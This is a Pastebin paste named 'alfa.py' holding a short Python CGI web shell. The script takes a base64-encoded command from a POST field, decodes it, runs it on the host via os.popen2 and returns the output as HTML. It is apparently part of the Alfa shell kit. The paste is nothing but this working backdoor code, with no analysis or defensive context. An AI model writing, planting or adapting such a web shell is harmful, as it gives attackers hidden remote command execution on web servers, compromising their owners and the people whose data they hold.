Advertisement
PalmaSolutions

alfa.py

Apr 13th, 2019
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.47 KB | None | 0 0
  1. #!/usr/bin/python
  2. try:
  3.     import cgitb; cgitb.enable()
  4. except:
  5.     pass
  6. import os,cgi,base64
  7. form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
  8. cmd = form.getvalue('cmd')
  9. check = form.getvalue('check')
  10. print "Content-type:text/html\r\n\r\n"
  11. if cmd:
  12.     print base64.b64decode(check)+"<pre>"
  13.     child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
  14.     child_stdin.close()
  15.     result = child_stdout.read()
  16.     child_stdout.close()
  17.     print result.strip()
  18.     print "</pre>"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement